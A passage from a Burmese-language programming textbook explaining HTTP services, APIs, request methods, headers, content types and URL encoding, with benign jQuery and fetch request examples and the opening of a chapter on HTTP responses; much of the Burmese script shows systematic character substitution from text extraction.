HTTP   goစ်ပါတယ်။   HTTP   ဟာ   Web Technology   တစ်ခုgoစ်လို့    HTTP   အသုံးgပုထားတဲ့    Service   dတွကို  
Web Service     လ့ုိလည်း dခါ်eကပါတယ်  ။
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API ဆိုတာ မူရင်းအတိုင်းဆိုရင် Application Program Interface ရဲ့ အတိုdကာက်goစ်ပြပီးdတာ့၊ Service
များကို ရယူအသံုးgပုရန် သတ်မှတ်ထားdသာနည်းလမ်း လ့ုိ dgပာလ့ုိရပါတယ်။ သူများdပးထားတဲ့ Service
ကို ကိုယ်က ရယူအသံုးgပုချင်ရင် သူသတ်မှတ်ထားတဲ့  API ကို ကိုယ်ကသိပြပီး သတ်မှတ်ချက်အတိုင်း ရယူ
အသံုးgပုရပါမယ်။ ကိုယ်က Service  dတွ oန်တီးပြပီး dပးချင်တာဆိုရင် ကိုယ့်zက်က အသံုးgပုနည်း  API
ကို  သတ်မှတ်dပးရပါတယ်။ ဒီအပုိင်းမှာ  အ့ဲဒီလို  Service  dတွ  တည်dဆာက်ပံု၊  API  သတ်မှတ်ပံုdတွကို
dလ့လာသွားeကမှာပါ။ ထပ်dgပာပါမယ်။  Service  က လက်dတွ့အလုပ်လုပ်တဲ့  ပရိုZရမ်goစ်ပြပီးdတာ့၊  API
က အ့ဲဒီ Service ကို ရယူအသံုးgပုလုိတဲ့အခါ အသံုးgပုရတဲ့နည်းလမ်း goစ်ပါတယ်။

HTTP ကို အသံုးgပုထားတဲ့ Service dတွမှာ URL လိပ်စာdတွကို API အdနနဲ့ အသုံးgပုရတယ်လ့ုိ အလွယ်
မှတ်နိုင်ပါတယ်။ ဒါdeကာင့် Service တစ်ခုကို ဆက်သွယ်အသံုးgပုလုိရင် သတ်မှတ်ထားတဲ့ URL ကို သိရပါ
တယ်။  Products  dတွလုိချင်ရင်  /products ဆိုတဲ့  URL  သံုးရမယ်လို့  သတ်မှတ်ထားရင်  အ့ဲဒီ
/products ဆိုတဲ့ URL ကို API လ့ုိသdzာထားပြပီး အgခားပရိုZရမ်dတွက အသံုးgပုရမှာပါ။

တစ်ကယ်dတာ့ မျက်စိထဲမှာ gမင်dတွ့ရတဲ့ URL ကို ဥပမာgပုပြပီး dgပာလုိက်dပမယ့် ပုိပြပီးdတာ့ တိတိကျကျ
dgပာရရင် HTTP Request dတွကို API အdနနဲ့ အသံုးgပုတယ်လ့ုိdgပာမှ gပည့်စုံ မှန်ကန်ပါလိမ့်မယ်။ HTTP
Request dတွမှာ Request Method dတွ Request Headers dတွ URL dတွ dပါင်းစပ်ပါဝင်ပါတယ်။ URL
ဆိုတာ  HTTP Request  ရဲ့  အစိတ်အပုိင်းတစ်ခုသာ goစ်ပါတယ်။  ဒီအdeကာင်းdတွကို  dနာက်အခန်းမှာ
ဆက်လက်dလ့လာeကပါမယ်။
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အခန်း (၆၇) – HTTP Request

HTTP  ဟာ  Communication  Protocol  တစ်ခုgoစ်ပါတယ်။  ပရိုZရမ်နှစ်ခုအeကား  အgပန်အလှန်  ဆက်
သွယ်eကတဲ့အခါ  နှစ်ဦးနှစ်zက်  လုိက်နာအသံုးgပုရမယ့်  နည်းလမ်းdတွကို  သတ်မှတ်dပးထားတာပါ။
ဆက်သွယ်မှု စတင်gပုလုပ်သူကို   Client   လ့ုိ dခါ်ပြပီး၊ လက်ခံတုံ့gပန်သူကို   Server   လ့ုိ dခါ်ပါတယ်  ။ Client နဲ့
Server  တို့ကို  အသံုးgပု တည်dဆာက်ထားeကတဲ့  နည်းပညာdတွ တူစရာမလိုပါzူး။ နှစ်ဦးလံုးက  HTTP
ကို အသံုးgပုမယ်ဆိုရင် အgပန်အလှန် ဆက်သွယ်အလုပ်လုပ်နိုင်ပါပြပီ။ ဥပမာ  - Client  ကို  JavaScript  နဲ့
oန်တီးပြပီး  Server  ကို  PHP  နဲ့  oန်တီးထားdပမယ့်၊  HTTP  ရဲ့အကူအညီနဲ့  ဆက်သွယ်အလုပ်လုပ်နိုင်တဲ့
သdzာပါ။

HTTP ကိုအသံုးgပုeကတဲ့ထဲက ထင်ရှားgမင်သာတဲ့ Client ပရိုZရမ်dတွကdတာ့ ကျွန်dတာ်တို့ dနစဉ်သံုးdန
တဲ့  Chrome, Firefox, Edge  စတဲ့  Web Browser  dတွပါ။  ဒီပရိုZရမ်dတွက  Google, Facebook  စတဲ့
Server  dတွကို  HTTP  အသံုးgပုပြပီး  ဆက်သွယ်dပးနိုင်eကပါတယ်။  Client  zက်က ဆက်သွယ်မှု  စတင်
gပုလုပ်တဲ့  လုပ်ငန်းကို  Request  လုပ်တယ်လ့ုိ  dခါ်ပြပီး၊  Server  zက်က  gပန်လည်တုံ့gပန်မှု  gပုလုပ်တဲ့
လုပ်ငန်းကိုdတာ့ Response gပန်တယ်လ့ုိ dခါ်ပါတယ်။

HTTP အdeကာင်းကိုdရှ့ပုိင်းမှာလည်း အနည်းငယ် ထည့်သွင်းdoာ်gပခဲ့ပါတယ်။ ဒီအပုိင်းမှာdတာ့  Service
နဲ့ API dတွ တည်dဆာက်နိုင်o့ုိအတွက် သိသင့်တာdတွ goည့်စွက်doာ်gပသွားမှာပါ။
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Requests dတွအdeကာင်း dလ့လာတဲ့အခါ မှတ်ရလွယ်dအာင် အပုိင်း (၄) ပုိင်း ခွဲdgပာချင်ပါတယ်။

1. Request Method
2. Request URL
3. Request Headers
4. Request Body

Request တစ်ခရုဲ့ oဲွ့စည်းပံုကို အခုလုိ မျက်စိထဲမှာ gမင်eကည့်eကရdအာင်။ အdပါ်မှာdgပာထားတဲ့ အချက်
(၄) ချက် စုoဲွ့ပါဝင်တဲ့ Package dလးတစ်ခုလို့ gမင်eကည့်ရမှာပါ။

1. METHOD

POST
2. URL

/products
3. HEADERS
Content-Type: application/json
Accept: application/json
4. BODY
{ name:"Book", price:4.99, category:15 }

Client က Server ကို ဆက်သွယ်မှု စတင်gပုလုပ်dတာ့မယ်ဆိုရင် ဒီ Package dလးကို အထုပ်လုိက် လှမ်း
ပ့ုိပြပီးdတာ့ ဆက်သွယ်ရတယ်လို့ dခါင်းထဲမှာ ပံုdoါ်eကည့်ပါ။ METHOD ကdတာ့ ဆက်သွယ်မှုကို gပုလုပ်ရ
တဲ့  ရည်ရွယ်ချက်ပါ။  Data  လုိချင်လုိ့လား။  Data  ပ့ုိချင်တာလား။  Data  gပင်dစချင်တာလား။ စသgoင့်ပါ။
တစ်ကယ်dတာ့  Data လ့ုိ မdခါ်ပါzူး။  Resource လ့ုိdခါ်ပါတယ်။ အdခါ်အdဝါ်deကာင့် dခါင်းမစားပါနဲ့။
Resource ကdတာ့ အdခါ်အdဝါ်အမှန်ပါ။ ဒါdပမယ့် Data, Resource, Content, Document, Object စ
သgoင့် အမျ ို းမျ ို း dခါ်eကပါတယ်။ လုိရင်းကdတာ့ အတူတူပါပဲ။

URL  ကdတာ့  ဆက်သွယ်ရယူလုိတဲ့အချက်အလက်ရဲ့  တည်dနရာပါ။  HEADERS  ကdတာ့  ဆက်သွယ်မှု
ဆိုင်ရာ  အချက်အလက်များ  goစ်ပါတယ်။  zယ်လုိပံုစံနဲ့  လုိချင်တာလဲ။  zာdeကာင့်လုိချင်တာလဲ။  စတဲ့
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အချက်အလက်dတွပါ။ BODY ကdတာ့ Client zက်က dပးပ့ုိလုိတဲ့ အချက်အလက်dတွ goစ်ပါတယ်။ dပး
ပ့ုိလုိတဲ့ Data မရှိတဲ့အdgခအdနမှာ Body မပါတဲ့ Request dတွဆိုတာလည်း ရှိနိုင်ပါတယ်။

အ့ဲဒီထဲကမှ အခုစတင် dလ့လာeကရမှာကdတာ့ Method dတွ အdeကာင်းပဲ goစ်ပါတယ်။

Request Methods
HTTP  နည်းပညာက သတ်မှတ်dပးထားတဲ့  Request  Methods  (၉)  မျ ို းရှိပါတယ်။  တစ်ခုချင်းစီမှာ  သ့ူ
အဓိပ္ပါယ်နဲ့သူပါ။ အdရးကြကီးပါတယ်။ Zရုစိုက်ပြပီးdလ့လာdပးပါ။

1. GET –  Client  က  Server  ထံကdန  အချက်အလက်dတွရယူလိုတဲ့အခါ GET Method  ကို
အသံုးgပုရပါတယ်။

2. POST  - Client က Server ထံ အချက်အလက်dတွdပးပ့ုိလုိတဲ့အခါ POST Method ကို အသံုးgပု
ရပါတယ်။ ဒီလုိdပးပို့လုိက်တဲ့အတွက် Server မှာ အချက်အလက်သစ်dတွ dရာက်ရှိသွားတာ goစ်
နိုင်သလုိ၊  ရှိပြပီးသား  အချက်အလက်dတွ  dgပာင်းလဲသွားတာ၊  ပျက်သွားတာမျ ို းလည်း  goစ်နိုင်ပါ
တယ်။  ရိုးရိုး    Web Application    dတွမှာ    POST     ကို  အချက်အလက်သစ် dပးပုိ့o့ုိdရာ၊ gပင်ဆင်o့ုိ  
dရာ၊  ပယ်oျက်oို့ပါ  အသံုးgပုeကပါတယ်။  ဒါdပမယ့်    API    မှာdတာ့    POST   Method    ကို  
အချက်အလက်သစ်dတွ  dပးပ့ုိoုိ့အတွက်သာ  အသံုးgပုeကdလ့  ရှိပါတယ်။  gပင်ဆင်တဲ့လုပ်ငန်းနဲ့
ပယ်oျက်တဲ့လုပ်ငန်းအတွက် တgခားပုိသင့်dတာ်တဲ့ Method dတွကို သံုးeကပါတယ်။

3. PUT – Client  က Server  မှာရှိတဲ့  အချက်အလက်dတွကိုအစားထုိးdစလုိတဲ့အခါ PUT Method
ကိုအသံုးgပုရပါတယ်။  dပးလုိက်တဲ့အချက်အလက်နဲ့  မူလရှိdနတဲ့  အချက်အလက်ကို  အစားထုိး
လုိက်မှာပါ။  Server  မှာရှိတဲ့  အချက်အလက်dတွ  dgပာင်းလဲသွားမှာgoစ်လ့ုိ  PUT Method  ကို
Update လုပ်ချင်တဲ့အခါ အသံုးgပုရတယ်လို့ ဆိုeကပါတယ်။

4. PATCH –  Client  က  Server  မှာရှိတဲ့  အချက်အလက်တစ်စိတ်တစ်ပုိင်းကိုdgပာင်းdစလိုတဲ့အခါ
PATCH Method  ကို  အသံုးgပုရပါတယ်။  ဒါdeကာင့်  PATCH ကိုလည်း  အချက်အလက်dတွ
Update  လုပ်ချင်တဲ့အခါ အသံုးgပုနိုင်ပါတယ်။ PUT နဲ့  PATCH ရဲ့ ကွဲgပားမှုကို နားလည်oုိ့ လုိပါ
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တယ်။ နှစ်ခုလံုးက  Update  လုပ်တာချင်း တူdပမယ့် သdzာသzာဝ ကွဲgပားပါတယ်။  နZိုရှိdန
တဲ့  အချက်အလက်ကို၊  dပးလုိက်တဲ့  အချက်အလက်သစ်နဲ့  အစားထုိးgခင်းအားgoင့် dgပာင်းdစလို
ရင်   PUT     ကိုသံုးပြပီး၊ နZိုရှိdနတဲ့ အချက်အလက်မှာ တစ်စိတတ်စ်ပုိင်းပဲ dရးွထုတ်gပင်dပးdစလုိရင်  
PATCH     ကို သံုးရတာပါ  ။

5. DELETE –  Client  က  Server  မှာရှိတဲ့  အချက်အလက်dတွ  ပယ်oျက်dစလိုတဲ့အခါ  DELETE
Method ကို အသံုးgပုရပါတယ်။

6. OPTIONS – Client  နဲ့  Server  eကား သdzာတူညီချက်ယူတဲ့  ဆက်သွယ်မှုdတွကို  OPTIONS
Method နဲ့ gပုလုပ်ရပါတယ်။ သdzာတူညီချက်ယူတယ်ဆိုတာ ဥပမာ Client က ဆက်သွယ်ခွင့်
ရိှရဲ့လား  လှမ်းdမးတဲ့အခါ  Server  က  Username, Password  လုိတယ်လုိ့  gပန်dgပာတာမျ ို းပါ။
အချက်အလက်  အမှန်တစ်ကယ်dပးပ့ုိတဲ့  Request  မဟုတ်zဲ  အကြကို  အdမးအdgo  လုပ်တဲ့
Preflight Request dတွအတွက် သံုးတဲ့သdzာပါ။

7. HEAD – GET Method နဲ့ အတူတူပါပဲ။ ကွာသွားတာကdတာ့ Server  က Response gပန်dပးတဲ့
အခါ  Headers  ပဲdပးပါ၊  Body  မလိုချင်ပါzူးလ့ုိ  dgပာလုိက်တာပါ။  အdပါ်ကပံုမှာ  gပထားတဲ့
Request မှာ Headers နဲ့ Body ရှိသလုိပဲ၊ Server ကgပန်dပးမယ့် Response မှာလည်း Headers
နဲ့  Body  ရိှပါတယ်။  GET က  Headers  dရာ  Body  ပါ  အကုန်လိုချင်တဲ့သdzာgoစ်ပြပီး  HEAD
ကdတာ့ Headers dတွပဲ လုိချင်တယ်ဆိုတဲ့သdzာ goစ်ပါတယ်။

8. CONNECT –  ဒီ  Method  ကdတာ့  API  မှာ မသံုးeကပါzူး။ ရိှမှန်းသိdအာင်သာ ထည့်dgပာထား
ထာပါ။ HTTP Proxy dတွအတွက် အဓိကသံုးပါတယ်။

9. TRACE – Client  ပ့ုိလုိက်တဲ့အတိုင်းပဲ  Server  က gပန်ပ့ုိdပးdစလုိတဲ့အခါ  TRACE Method  ကို
သံုးရပါတယ်။ အဆင်dgပရဲ့လား dပးပ့ုိစမ်းသပ်eကည့်တဲ့ သdzာမျ ို းပါ။

ဒီ Request Method dတွကို အသံုးgပုလိုက်gခင်းအားgoင့် အလုိအdလျှာက် လုိချင်တဲ့လုပ်dဆာင်ချက်ကို ရ
သွားမှာ  မဟုတ်ပါzူး။  Service  ကို  ဒီဇုိင်းလုပ်မယ့်သူက  ဒါdတွကို  သိထားပြပီး  dပးပို့လာတဲ့  Request
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Method နဲ့အညီ အလုပ်လုပ်dပးနိုင်dအာင် ဒီဇုိင်းလုပ်ရမှာပါ။ ဒီအတိုင်း အတိအကျ မလုပ်ရင်dရာ မရzူး
လား။ ရပါတယ်။ ဥပမာ - အချက်အလက်သစ်dတွ တည်dဆာက်လုိရင်   POST     ကို သံုးရမယ်လ့ုိ   HTTP   က  
dgပာထားပါတယ်။  ကိုယ်က  အ့ဲဒီအတိုင်း  လုိက်မလုပ်zဲနဲ့    GET     နဲ့ပ့ုိလာတာကိုပဲ  အချက်အလက်သစ်  
တည်dဆာက်o့ုိ သတ်မှတ်မယ်ဆိုရင်လည်း ကိုယ့်    Service    က အလုပ်dတာ့ လုပ်dနမှာပါပဲ။ မှန်ကန်စနစ်  
ကျတဲ့    Service    dတာ့goစ်မှာ  မဟုတ်ပါzူး  ။  Service  နဲ့  API  ဒီဇုိင်း  dကာင်းမdကာင်းဆိုတာ  ဒါdတွက
စကားdgပာသွားမှာပါ။

Request Headers
Request  Headers  dတွအdeကာင်း  ဆက်eကည့်eကပါမယ်။  HTTP  က အသံုးgပုo့ုိ  သတ်မှတ်dပးထားတဲ့
Headers  dတကွdတာ့  အများကြကီးပါ။  လုိက်dရeကည့်တာ  Request,  Response  အပါအဝင်  Headers
အားလံုးdပါင်း (၁၀၀) dကျာ်ပါတယ်။ အ့ဲဒီထဲက၊ အdတွ့ရများတဲ့ Request Headers dတွက ဒါdတွပါ။

• Accept
• Accept-Encoding
• Authorization
• Cache-Control
• Content-Type
• Cookie
• ETag
• If-Modified-Since
• Referer
• User-Agent

Service  dတွoန်တီးတဲ့အခါမှာ  ကိုယ်တိုင်တိုက်ရိုက်  မeကာခဏနေ  စီမံo့ုိလုိနိုင်တာက  Accept,
Content-Type နဲ့  Authorization တို့ပါ။  ကျန်တာdတွက အdရးdတာ့ကြကီးပါတယ်။ ဒါdပမယ့်
ကိုယ်တိုင် စီမံo့ုိလိုချင်မှလုိပါလိမ့်မယ်။ တစ်ချ ို ့က Client ပရိုZရမ်ကို  Run တဲ့  Browser က လုပ်dပးသွား
ပါလိမ့်မယ်။ တစ်ချ ို ့ကိုdတာ့ အသင့်သံုး  Library  dတွရဲ့အကူအညီယူလုိက်လို့  ရနိုင်ပါတယ်။ goစ်နိုင်မယ်
ဆိရုင်  ဒါdတွကို  အdသးစိတ်  အကုန်dgပာချင်dပမယ့်  သွားချင်တဲ့  လမ်းdeကာင်းကdန  dzးနည်းနည်း
dရာက်သွားမှာစိုးလ့ုိ လုိမယ့်အပုိင်းdလးdတွပဲ အရင်dရွး eကည့်eကရdအာင်ပါ။

Content-Type Header  ကdနစdgပာပါမယ်။  Content-Type Header  မှာ  Client  က dပးပ့ုိမယ့်
Request Body ရဲ့  Content အမျ ို းအစားကို သတ်မှတ်dပးရမှာပါ။ Content Type dတွ ဒီလုိ အမျ ို းမျ ို းရှိ
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နိုင်ပါတယ်။

• image/jpeg
• image/png
• image/svg+xml
• text/plain
• text/html
• application/javascript
• application/json
• application/xml
• application/x-www-form-urlencoded

ဥပမာတစ်ချ ို ့  dရးွထုတ်dပးတာပါ။  အ့ဲဒီလို  Content Type (MIME Type  လ့ုိလည်းdခါ်ပါတယ်)  dပါင်း
(၆၀၀)  dကျာ်dတာင်  ရှိပါတယ်။  မနည်းမdနာပါ။  အ့ဲဒီထဲကမှ  API  အတွက်  အသံုးအများဆုံး  goစ်မှာ
ကdတာ့  application/json နဲ့  application/x-www-form-urlencoded တို့  goစ်ပါ
တယ်။

Accept Header ကdတာ့ dgပာင်းgပန်ပါ။ Client ကgပန်လုိချင်တဲ့ Content Type ကို သတ်မှတ်oို့အတွက်
အသံုးgပုရတာပါ။ ဟိုးအdပါ်က  Request  တစ်ခုမှာပါတဲ့အရာdတွကို  Package  တစ်ခုလ့ုိ  gမင်eကည့်ပါဆို
ပြပီး  dပးထားတဲ့နမူနာကို  gပန်dလ့လာeကည့်ပါ။  Content-Type က  application/json goစ်dန
သလုိ  Accept ကလည်း  application/json goစ်dနတာကို  dတွ့ရမှာ  goစ်ပါတယ်။  အဓိပ္ပါယ်
ကdတာ့ Client dပးပ့ုိမှာ JSON goစ်သလုိ Client က gပန်လုိချင်တာလည်း JSON ပဲ လုိချင်တယ်လ့ုိ dgပာ
လုိက်တာပါ။

လက်dတွ့အသံုးgပုရမယ်လ့ုိdgပာတဲ့အထဲမှာပါတဲ့  Authorization Header  အdeကာင်းကိုdတာ့
သက်ဆိုင်ရာအခန်း  dရာကd်တာ့မှပဲ  dgပာgပပါdတာ့မယ်။  အခု  Request  Body  အdeကာင်း  နည်းနည်း
ဆက် eကည့်ချင်ပါတယ်။
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Request Body
Client ပရိုZရမ်နဲ့  Server ပရိုZရမ်တို့ တည်dဆာက်ထားတဲ့ နည်းပညာdတွ မတူလည်းzဲ  HTTP ကို သံုး
တာချင်းတူရင် အgပန်အလှန် ဆက်သွယ်အလုပ်လုပ်နိုင်တယ်လ့ုိ dgပာခဲ့ပါတယ်။ ဒီdနရာမှာ dgပာစရာရှိလာ
တာက Data Format  ပါ။  HTTP    ကို သံုးeကတာချင်းတူလ့ုိ အgပန်အလှန် ဆက်သွယ်နိုင်တယ် ဆိုdပမယ့်  
သံုးတဲ့    Data Format   မတူရင် သူdပးတဲ့    Data   ကို ကိုယ်နားမလည်၊ ကိုယ်dပးတဲ့    Data   ကို သူနားမလည်  
goစ်နိုင်ပါတယ်။ 

HTTP ကdတာ့ zယ်လ့ုိ Data Format (Content Type) ကို သံုးရမယ်လ့ုိ ပံုdသကန့်သတ် မထားပါzူး။
Support လုပ်တဲ့ Content Type dပါင်း (၆၀၀) dကျာ်ထဲက ကြကိုက်တာကို သုံးပြပီး ဆက်သွယ်လို့ရပါတယ်။
ဒါdပမယ့်  ကြကိုက်တာသံုးလ့ုိရတယ်ဆိုတိုင်း  တစ်dယာက်တစ်မျ ို း  သုံးလ့ုိမgoစ်ပါzူး။  zံုတူညီနဲ့  Format
တစ်ခုကို dရးွချယ် အသံုးgပုeကo့ုိလုိပါတယ်။ အရင်ကdတာ့ အချက်အလက်oဲွ့စည်းပံု တင်းeကပ်စနစ်ကျတဲ့
XML  ကို zုံတူညီတဲ့  Data Exchange Format  အdနနဲ့ အသုံးgပုeကပါတယ်။ ကdန့dခတ်မှာdတ့  JSON
ကိုသာ အဓိကထားပြပီး အသံုးgပုeကပါdတာ့တယ်။ တgခား  Content Type  တစ်ခုခုကို နှစ်zက်ညှိပြပီး သံုး
eကမယ်ဆိုရင်လည်း goစ်dတာ့goစ်နိုင်ပါတယ်။ ဒါdပမယ့် JSON ဟာ oဲွ့စည်းပံုစနစ်ကျတယ်၊ dပါ့ပါးတယ်၊
အသံုးgပုရလည်း လွယ်ကူတယ်၊ ပြပီးdတာ့ ကွန်ပျူတာစနစ် အdတာ်များများကလည်း နားလည်တဲ့အတွက်
JSON ကိုသာ dရးွချယ်အသုံးgပုလာeကgခင်း goစ်ပါတယ်။

Client    က   Data    dပးပ့ုိတဲ့အခါ    JSON Format    ကို  အသံုးgပုသင့်သလ့ုိ    Server    က gပန်ပို့တဲ့အခါမှာလည်း  
JSON Format   ကိုသာ သံုးeကရမှာ goစ်ပါတယ်  ။ တနည်းအားgoင့် Request Body ဟာ JSON Format goစ်
ရမှာ goစ်ပြပီးdတာ့ Response Body ဟာလည်း JSON Format goစ်ရမှာပဲ goစ်ပါတယ်။

JSON  အgပင်goည့်စွက်မှတ်သားသင့်တဲ့  Format  ကdတာ့  URL  Encode  Format  goစ်ပါတယ်။  သ့ူကို
Request Body အgoစ်ရံoန်ရံခါ သံုးeကပါတယ်။ URL Encode Format ဟာ ရိုးရိုး Plain Text တစ်မျ ို း goစ်
ပါတယ်။ ဒါdပမယ့် Key1=Value1&Key2=Value2 ဆိုတဲ့ oဲွ့စည်းပံုနဲ့ သံုးdပးရပါတယ်။ ဥပမာ -

name=John%20Doe&age=22&email=john%40gmail.com

dပးထားတဲ့နမူနာကို dသချာeကည့်လိုက်ရင် သ့ူမှာ  name, age နဲ့  email ဆိုတဲ့ တန်oုိးသံုးခု ပါဝင်ပါ
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တယ်။ Key နဲ့ Value ကို = နဲ့ ပုိင်းgခားပြပီး၊ တန်oုိးတစ်ခုနဲ့တစ်ခုကို & သdက[တနဲ့ပုိင်းgခားလုိ့ ဒီ Operator
နှစ်ခုကို အထူးgပုမှတ်သားရပါမယ်။ တန်oုိးdတွထဲမှာ Space နဲ့ Special Character dတွကို အသုံးgပုခွင့်မ
ရိှပါzူး။ အသံုးgပုလုိရင် သတ်မှတ်ထားတဲ့နည်းအတိုင်း  Encode  လုပ်dပးရပါတယ်။  %20 ဆိုတာ Space
goစ်ပါတယ်။ ဒါdeကာင့်  John%20Doe ကို  Decode  gပန်လုပ်လုိက်ရင်  John Doe  ကိုရမှာ goစ်ပါတယ်။
%40 ကdတာ့  @  goစ်ပါတယ်။  ဒါdeကာင့်  john%40gmail.com ကို  Decode  gပန်လုပ်လိုက်ရင်
john@gmail.com ကို ရမှာပါ။

တစ်ကယ်dတာ့ သတ်မှတ်ထားတဲ့  URL Encode\Decode တန်oုိးdgပာင်းတဲ့အလုပ်ကို ကိုယ်တိုင်လုပ်စရာ
မလုိပါzူး။ အသင့်သုံးလ့ုိရတဲ့ နည်းပညာdတရွှိပါတယ်။ ဒါdeကာင့် ဒီ Encode တန်oုိးdတွdeကာင့် မျက်စိမ
ရှုပ်ရdအာင်  dနာက်ပုိင်းနမူနာdတွမှာဆိုရင်  Encode  လုပ်ပြပီးdတာ့  doာ်gပမှာမဟုတ်dတာ့zဲ၊  ရိုးရိုးပဲ
doာ်gပသွားdတာ့မှာပါ။ ဒီလုိပါ -

name=John Doe&age=22&email=john@gmail.com

ဒီလုိရိုးရိုးအgမင်အတိုင်း  doာ်gပထားdပမယ့်၊  တစ်ကယ်တမ်း  အလုပ်လုပ်တဲ့  အခါမှာdတာ့  Space
အပါအဝင်  Special  Character  dတွကို  သတ်မှတ်ထားတဲ့  နည်းလမ်းအတိုင်း  Encode  လုပ်ပြပီးdတာ့
အလုပ်လုပ်သွားပါလား  ဆိုတာကို  dလ့လာသူက  သိထားo့ုိပဲ  လုိပါတယ်။  ကိုယ်တိုင်လုိက်လုပ်dပးစရာ
dတာ့ လုိခဲပါတယ်။ တစ်ခါတစ်ရံ မgoစ်မdန ကိုယ်တိုင် Encode/Decode လုပ်dပးo့ုိ လုိတယ်ဆိုရင်လည်း
သက်ဆိုင်ရာ Language မှာအသင့်ပါတဲ့ လုပ်dဆာင်ချက်dတွကို သုံးနိုင်ပါတယ်။ ဥပမာ - JavaScript မှာ
encodeURIComponent() ကိုသုံးပြပီးdတာ့  ရိုးရိုး  String  ကို  URL  Encode  dgပာင်းနိုင်သလုိ၊
decodeURIComponent() ကိုသံုးပြပီးdတာ့ String gပန်dgပာင်းနိုင်ပါတယ်။

အခု စာအdနနဲ့ oတ်ရှုdလ့လာခဲ့တဲ့ သdzာသzာဝdတွကို ရှုdထာင့်တစ်မျ ို းdgပာင်း dလ့လာပြပီးသား goစ်
သွားdအာင် ကုဒ်နမူနာdလးတစ်ချ ို ့နဲ့လည်း ဆက်လက်doာ်gပပါဦးမယ်။
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Request Code Sample
ဒီကုဒ်နမူနာdတွက လက်dတွ့ လုိက်dရးo့ုိ မဟုတ်dသးပါzူး။ စာနဲ့dလ့လာခဲ့တဲ့ သdzာသzာဝကို ပုိပြပီး
gမင်သွားdအာင် ကုဒ်နမူနာအdနတဲ့ ထပ်gပdပးတဲ့သdzာပါ။ ကုဒ်dတွကို လုိက်oတ်ပြပီး dလ့လာeကည့်ပါ။

 JavaScript/jQuery 
$.ajax({

url: "/products/",
type: "POST",
contentType:"application/x-www-form-urlencoded",
data: "name=Book&price=8.99",
success: function() {

// do something
}

});

ဒါဟာ jQuery ရဲ့  ajax() Function ကို အသံုးgပုပြပီး  Request dပးပ့ုိပံု dပးပ့ုိနည်း goစ်ပါတယ်။ url,
type, contentType, data စသgoင့်  Request  တစ်ခုမှာ ပါဝင်ရမယ့်အရာdတွကို  gပည့်gပည့်စုံစုံ
သတ်မှတ်dပးရတာကို  dတွ့နိုင်ပါတယ်။  jQuery  က  HTTP  အdeကာင်း  dသချာမသိတဲ့သူdတွလည်း
အသံုးgပုရတာ  လွယ်dစချင်လ့ုိ  ထင်ပါတယ်၊  အသံုးအနှုန်းdတွကို  dgပာင်းထားပါတယ်။  type ဆိုတာ
METHOD ကို dgပာတာပါ။  data ဆိုတာ BODY ကို dgပာတာပါ။ ဒီကုဒ်ကိုပဲ နည်းနည်းgပင်လိုက်လ့ုိ ရပါ
dသးတယ်။

 JavaScript/jQuery 
$.ajax({

url: "/products/",
type: "POST",
data: { name: "Book", price: 8.99 },
success: function() {

// do something
}

});

contentType goုတ်လုိက်တာပါ။  contentType မပါရင်  Default  က URL Encode  ပဲမ့ုိလ့ုိပါ။  ပြပီး
dတာ့ data ကိုeကည့်ပါ။ URL Encode ဆိုdပမယ့် JSON အdနနဲ့ dပးလ့ုိရပါတယ်။ jQuery က JSON ကို
URL Encode goစ်dအာင် သ့ူzာသာdgပာင်းdပးသွားမှာ မ့ုိလို့ပါ။
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dနာက်ထပ်ကုဒ်နမူတာတစ်မျ ို း ထပ်eကည့်လုိက်ပါဦး။

 JavaScript 
fetch("/products", {

method: "POST",
headers: {

"Content-type": "application/json",
"Accept": "application/json"

},
body: JSON.stringify({ name: "Book", price: 8.99 })

});

ဒါကdတာ့  ES6  fetch() ကိုအသံုးgပုပြပီး  Request  dပးပ့ုိလုိက်တာပါ။ သူကdတာ့  HTTP  အသံုးအနှုန်း
အမှန်အတိုင်းပဲ အသံုးgပုdပးရပါတယ်။  URL  ကို ပထမ  Parameter  အdနနဲ့  dပးရပြပီး ကျန်တဲ့  Method,
Headers, Body  စတာdတွက dနာက်ကလုိက်ရတာပါ။ နမူနာမှာ  HEADERS  ရဲ့  Content-type ကို
JSON  လ့ုိ  သတ်မှတ်ထားတာကို  dတွ့ နိုင်ပါတယ်။ ဒီdနရာမှာ  Accept Header  ကိုလည်း  သတိgပုပါ။
တစ်ချ ို ့ Server dတွက Data Format နှစ်မျ ို းသံုးမျ ို း Support လုပ်eကပါတယ်။ အ့ဲဒီလုိ Support လုပ်တဲ့
အခါ Client က Accept Header ကိုသုံးပြပီး ကိုယ်လုိချင်တဲ့ Format ကို dgပာgပလ့ုိရတဲ့သdzာပါ။

BODY အတွက် JSON Data ကိုdပးထားပါတယ်။ ဒီလုိdပးတဲ့အခါ  dရးထံုးက JSON dရးထံုးနဲ့ dရးရdပ
မယ့် ပုိ့တဲ့အခါ String အdနနဲ့ ပ့ုိရလ့ုိ JSON.stringify() Function ရဲ့အကူအညီနဲ့  String dgပာင်း
ထားတာကို dတွ့ရနိုင်ပါတယ်။ ဒါကိုလည်း dသချာ သတိgပုပါ။ Content Type ကို JSON လ့ုိdgပာထားတဲ့
အတွက် ပ့ုိတဲ့  Format က JSON Format မှန်ရပါတယ်။ ဒါdပမယ့် HTTP က တစ်ကယ်ပ့ုိတဲ့အခါ String
အdနနဲ့ပဲ ပ့ုိတာပါ။ ဒါdeကာင့် JSON Format   နဲ့ dရးထားတဲ့   String   ကို ပ့ုိတာ goစ်ရမှာပါ။

ဒီdလာက်ဆိုရင်  HTTP  Request  dတွအdeကာင်း  စုံသင့်သdလာက်  စုံသွားပါပြပီ။  dနာက်တစ်ခန်းမှာ
Response dတွအdeကာင်း ဆက်eကည့်eကရdအာင်။
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အခန်း (၆၈) – HTTP Response

HTTP Request dတွကို မှတ်ရလွယ်dအာင် Method, URL, Header, Body ဆိုပြပီး  (၄) ပုိင်းမှတ်နိုင်တယ်
လ့ုိ dgပာခဲ့ပါတယ်။ HTTP Response dတွကိdုတာ့ (၃) ပုိင်း မှတ်dပးပါ။

1. Status Code
2. Response Headers
3. Response Body

Request မှာတုံးက dပးပ့ုိတဲ့အခါ Package dလးတစ်ခုအdနနဲ့ Method, URL, Headers, Body dတွကို စု
oဲွ့ပြပီးdတာ့  ပ့ုိတယ်လုိ့  dgပာခဲ့ပါတယ်။  Server  က gပန်လည်dပးပုိ့တဲ့  Response  dတွကလည်း ဒီလုိပုံစံ
Package dလးနဲ့ပဲ ထုပ်ပုိးပြပီး gပန်လာတယ်လ့ုိ gမင်eကည့်နိုင်ပါတယ်။

1. STATUS CODE

201 Created
2. HEADERS
Content-Type: application/json
Location: http://domain/books/3
3. BODY
